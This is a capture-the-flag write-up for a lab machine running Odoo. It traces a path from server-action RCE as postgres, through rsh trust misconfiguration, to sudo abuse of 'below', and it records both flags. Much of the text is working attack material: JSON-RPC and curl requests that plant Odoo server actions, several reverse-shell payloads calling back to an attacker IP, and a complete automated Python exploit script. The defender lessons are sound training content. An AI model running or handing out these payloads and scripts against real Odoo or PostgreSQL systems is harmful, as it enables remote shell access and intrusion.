Difficulty: Medium
Target IP: 172.16.1.51
Flags:
- User Flag:
hackingclub{2248ed677fe0fea193c5c4b56b6c1356} - Root Flag:
hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}
Summary
This CTF involved exploiting an Odoo server to gain RCE as the postgres user, then leveraging a misconfigured rsh service with a permissive /etc/hosts.equiv to pivot to the tx user, and finally escalating to root via a sudo misconfiguration with the /usr/bin/below binary.
Enumeration
Initial Access
The machine was running an Odoo web application vulnerable to RCE via server actions. Initial access was gained as the postgres user through the Odoo exploit.
PostgreSQL Enumeration
Once inside as postgres, we enumerated the PostgreSQL database:
psql -U postgres -c "\du"Key Finding: The postgres user is a superuser with full database privileges:
- rolsuper: true
- Bypass RLS: true
List of roles
Role name | Attributes
-----------+------------------------------------------------------------
odoo | Superuser
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS
Database Discovery
Multiple databases were found:
SELECT datname FROM pg_database;Databases:
postgres(default)odoo(Odoo application database)mocoto(suspicious custom database)template0,template1
PostgreSQL Extensions
Useful extensions were discovered:
\dxInstalled:
- dblink - connect to other databases
- plpgsql - procedural language
Available:
- adminpack - administrative functions
- file_fdw - foreign data wrapper for file access
Lateral Movement - rsh Service Discovery
Service Enumeration
We used PostgreSQL's COPY FROM PROGRAM to execute system commands:
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(output TEXT);
COPY cmd_output FROM PROGRAM 'netstat -tlnp 2>&1';
SELECT * FROM cmd_output;Critical Finding: rsh services listening on ports 513 and 514!
LISTEN 0 128 0.0.0.0:513 0.0.0.0:* (rsh)
LISTEN 0 128 0.0.0.0:514 0.0.0.0:* (rlogin)
SUID binaries found:
/usr/bin/rsh-redone-rsh (rwsr-xr-x)
/usr/bin/rsh-redone-rlogin (rwsr-xr-x)rsh Configuration Analysis
/etc/hosts.equiv
cat /etc/hosts.equivOutput: +
This single + means "trust all hosts" - a critical misconfiguration!
PAM Configuration (/etc/pam.d/rsh)
#%PAM-1.0
auth sufficient pam_rhosts.so
auth required pam_deny.so
account required pam_unix.so
session required pam_unix.so
The pam_rhosts.so module checks .rhosts files and hosts.equiv for authentication.
Exploitation - rsh to User tx
The Attack Vector
With /etc/hosts.equiv containing +, the rsh service trusts connections from all hosts. However, it still requires proper username matching.
Creating Matching User Locally
On the attacker machine (Arch Linux):
# Create user 'tx' to match target username
sudo useradd -m -s /bin/bash tx
# Switch to that user
sudo su - txConnecting via rsh
From the attacker machine as user tx:
# Test connection
rsh -l tx 172.16.1.51 whoami
# Output: tx
# Read user flag
rsh -l tx 172.16.1.51 "cat /home/tx/user.txt"
# Output: hackingclub{2248ed677fe0fea193c5c4b56b6c1356}
# Get interactive shell
rsh -l tx 172.16.1.51User Flag: hackingclub{2248ed677fe0fea193c5c4b56b6c1356}
Privilege Escalation to Root
Sudo Enumeration
sudo -lOutput:
User tx may run the following commands on ip-172-16-1-51:
(root) NOPASSWD: /usr/bin/below
The user tx can run /usr/bin/below as root without a password!
What is 'below'?
below is a system monitoring tool that can read configuration files. The --config flag allows specifying a configuration file path.
Exploitation
# Attempt to use below to read files as root
sudo /usr/bin/below --config /root/root.txt
# Error: No such file or directory
# Try alternative filename
sudo /usr/bin/below --config /root/r0oT.txtOutput:
Failed to parse config file /root/r0oT.txt: TOML parse error at line 1, column 12
|
1 | hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}
| ^
key with no value, expected `=`
hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}
The below binary tried to parse /root/r0oT.txt as a TOML configuration file, failed, but displayed the file contents in the error message!
Root Flag: hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}
Key Vulnerabilities
- Odoo RCE - Initial access via vulnerable server actions
- hosts.equiv Misconfiguration -
/etc/hosts.equivcontaining+allows trust from all hosts - rsh Service Exposed - Ports 513/514 listening on 0.0.0.0
- Sudo Misconfiguration - User
txcan run/usr/bin/belowas root with NOPASSWD - File Read via Config Parsing -
below --configdisplays file contents in error messages
Lessons Learned
For Defenders
- Never use
+in/etc/hosts.equiv- This trusts ALL hosts - Disable rsh/rlogin services - Use SSH instead (rsh transmits credentials in plaintext)
- Restrict sudo privileges - Avoid allowing file-reading binaries with sudo
- Principle of Least Privilege - Database users shouldn't need RCE capabilities
- Audit PAM configurations -
pam_rhosts.sois dangerous in modern environments
For Attackers
- PostgreSQL COPY FROM PROGRAM - Superuser can execute system commands
- Check legacy services - rsh, rlogin, telnet often have weak security
- Enumerate /etc/hosts.equiv - Single
+is a goldmine - Username matching - Some services (like rsh) rely on username matching across systems
- GTFOBins - Many binaries can read files when run with sudo (
below,less,more,vim, etc.)
Commands Reference
PostgreSQL Command Execution
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(output TEXT);
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;rsh Connection
# From attacker machine
rsh -l <username> <target_ip> <command>
rsh -l tx 172.16.1.51 "cat /home/tx/user.txt"Sudo File Read via below
sudo /usr/bin/below --config /path/to/fileTimeline
- Initial Access → Odoo RCE as
postgresuser - Enumeration → PostgreSQL superuser privileges discovered
- Service Discovery → rsh ports 513/514 found listening
- Config Analysis →
/etc/hosts.equivcontains+ - Lateral Movement → Created matching user locally, connected via rsh as
tx - User Flag →
hackingclub{2248ed677fe0fea193c5c4b56b6c1356} - Privilege Escalation → Exploited sudo
belowto read root flag - Root Flag →
hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}
Tools Used
psql- PostgreSQL clientrsh/rsh-redone-rsh- Remote shell clientsudo- Privilege escalationnetstat/ss- Network enumeration
Tags
#ctf #postgresql #rsh #privilege-escalation #lateral-movement #sudo #misconfiguration #hostsfile
Completed: 2026-02-01
Author: CTF Player
Detailed Exploitation Techniques
Initial Access - Odoo RCE (Manual Method)
The Odoo application was vulnerable to Remote Code Execution via Server Actions. Here's the manual exploitation process:
Step 1: Understanding the Vulnerability
Odoo allows authenticated users to create "Server Actions" (ir.actions.server) which execute Python code. Combined with PostgreSQL's COPY TO PROGRAM, this enables system command execution.
Exploit Chain:
Odoo Server Action → Python Code → env.cr.execute() → PostgreSQL COPY TO PROGRAM → Bash Command
Step 2: Create Server Action (Manual)
HTTP Request:
POST /web/dataset/call_kw HTTP/1.1
Host: business.tx.hc
Content-Type: application/json
Cookie: session_id=YOUR_SESSION_ID_HERE
{
"jsonrpc": "2.0",
"method": "call",
"params": {
"model": "ir.actions.server",
"method": "create",
"args": [{
"name": "ReverseShell",
"state": "code",
"model_id": 1,
"code": "env.cr.execute(\"COPY (SELECT '') TO PROGRAM 'bash -c \\\"bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\\\"'\")"
}]
},
"id": 1
}Using curl:
curl -X POST http://business.tx.hc/web/dataset/call_kw \
-H 'Content-Type: application/json' \
-H 'Cookie: session_id=YOUR_SESSION_ID' \
-d @- <<'EOF'
{
"jsonrpc": "2.0",
"method": "call",
"params": {
"model": "ir.actions.server",
"method": "create",
"args": [{
"name": "ReverseShell",
"state": "code",
"model_id": 1,
"code": "env.cr.execute(\"COPY (SELECT '') TO PROGRAM 'bash -c \\\"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\\\"'\")"
}]
},
"id": 1
}
EOFResponse:
{
"jsonrpc": "2.0",
"id": 1,
"result": 123 // This is your action_id
}Step 3: Execute the Server Action
curl -X POST http://business.tx.hc/web/dataset/call_kw \
-H 'Content-Type: application/json' \
-H 'Cookie: session_id=YOUR_SESSION_ID' \
-d '{
"jsonrpc": "2.0",
"method": "call",
"params": {
"model": "ir.actions.server",
"method": "run",
"args": [[123]]
},
"id": 2
}'Step 4: Catch Reverse Shell
On attacker machine:
nc -lvnp 4444Expected output:
Listening on 0.0.0.0 4444
Connection received on 172.16.1.51 xxxxx
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
postgres@ip-172-16-1-51:/var/lib/postgresql/16/main$
Alternative Payloads
Netcat (mkfifo):
env.cr.execute("COPY (SELECT '') TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f'")Python3 Reverse Shell:
env.cr.execute("""COPY (SELECT '') TO PROGRAM 'python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.35.83\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"'""")Background Shell (non-blocking):
env.cr.execute("COPY (SELECT '') TO PROGRAM 'nohup bash -c \"bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\" &'")Automated Exploitation Scripts
Reverse Shell Script (Python)
For convenience, an automated Python script was created to try multiple reverse shell payloads:
File: reverse_shell.py
#!/usr/bin/env python3
"""
Odoo RCE - Reverse Shell Automation
Target: business.tx.hc
Attacker: 10.0.35.83:4444
"""
import requests
import json
import time
TARGET_HOST = "business.tx.hc"
BASE_URL = f"http://{TARGET_HOST}"
# Update with your session cookie
COOKIES = {
'tz': 'America/Sao_Paulo',
'cids': '1',
'frontend_lang': 'en_US',
'session_id': 'YOUR_SESSION_ID_HERE'
}
HEADERS = {'Content-Type': 'application/json'}
def jsonrpc_call(method, params):
"""Make JSON-RPC call to Odoo"""
url = f"{BASE_URL}/web/dataset/call_kw"
payload = {"jsonrpc": "2.0", "method": "call", "params": params, "id": 1}
try:
response = requests.post(url, json=payload, cookies=COOKIES, headers=HEADERS, timeout=15)
return response.json()
except Exception as e:
return None
def run_shell_payload(name, code):
"""Create and execute server action with payload"""
print(f"\n[*] Attempting: {name}")
# Create server action
params = {
"model": "ir.actions.server",
"method": "create",
"args": [{"name": name, "state": "code", "model_id": 1, "code": code}],
"kwargs": {}
}
result = jsonrpc_call("create", params)
if not result or 'result' not in result:
print(f"[!] Failed to create action")
return None
action_id = result['result']
print(f"[+] Created action ID: {action_id}")
# Execute server action
params = {
"model": "ir.actions.server",
"method": "run",
"args": [[action_id]],
"kwargs": {}
}
print(f"[+] Executing reverse shell...")
jsonrpc_call("run", params)
time.sleep(2)
return action_id
# Multiple reverse shell payloads
PAYLOADS = {
"bash_tcp": """
# Bash TCP reverse shell
try:
env.cr.execute("COPY (SELECT '') TO PROGRAM 'bash -c \\"bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\\"'")
log("Bash reverse shell executed")
except Exception as e:
log(f"Bash shell failed: {e}")
""",
"nc_traditional": """
# Netcat traditional reverse shell
try:
env.cr.execute("COPY (SELECT '') TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f'")
log("NC reverse shell executed")
except Exception as e:
log(f"NC shell failed: {e}")
""",
"python3": """
# Python3 reverse shell
try:
env.cr.execute(\"\"\"COPY (SELECT '') TO PROGRAM 'python3 -c \\"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\"10.0.35.83\\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\\"/bin/sh\\\\",\\\\"-i\\\\"])\\"'\"\"\")
log("Python3 reverse shell executed")
except Exception as e:
log(f"Python3 shell failed: {e}")
""",
"background_bash": """
# Background bash shell (won't block)
try:
env.cr.execute("COPY (SELECT '') TO PROGRAM 'nohup bash -c \\"bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\\" &'")
log("Background bash shell executed")
except Exception as e:
log(f"Background bash failed: {e}")
""",
}
def main():
print("="*70)
print("Odoo RCE - Reverse Shell to 10.0.35.83:4444")
print("="*70)
print("\n[!] Make sure you have a listener running:")
print(" nc -lvnp 4444")
print("\n[*] Trying multiple reverse shell methods...")
for name, payload in PAYLOADS.items():
run_shell_payload(f"RevShell_{name}", payload)
print(f"[*] Waiting 3 seconds before next attempt...")
time.sleep(3)
print("\n[*] All payloads sent. Check your listener!")
print("[*] If no connection, check:")
print(" - Firewall rules on 10.0.35.83")
print(" - Network connectivity from target")
print(" - Port 4444 is listening")
if __name__ == "__main__":
main()Usage:
- Update
session_idin the COOKIES dictionary - Update IP address (10.0.35.83) to your attacking machine
- Start netcat listener:
nc -lvnp 4444 - Run the script:
python3 reverse_shell.py
Output:
======================================================================
Odoo RCE - Reverse Shell to 10.0.35.83:4444
======================================================================
[!] Make sure you have a listener running:
nc -lvnp 4444
[*] Trying multiple reverse shell methods...
[*] Attempting: bash_tcp
[+] Created action ID: 123
[+] Executing reverse shell...
[*] Waiting 3 seconds before next attempt...
[*] Attempting: nc_traditional
[+] Created action ID: 124
[+] Executing reverse shell...
...
Attack Flow Diagram
[Attacker]
|
| 1. HTTP POST /web/dataset/call_kw
v
[Odoo Web Application]
|
| 2. Create ir.actions.server with Python code
v
[Odoo Backend - Python]
|
| 3. env.cr.execute() → COPY TO PROGRAM
v
[PostgreSQL Database - Superuser]
|
| 4. Execute system command
v
[Bash Reverse Shell]
|
| 5. Connection back to attacker
v
[Attacker - postgres shell]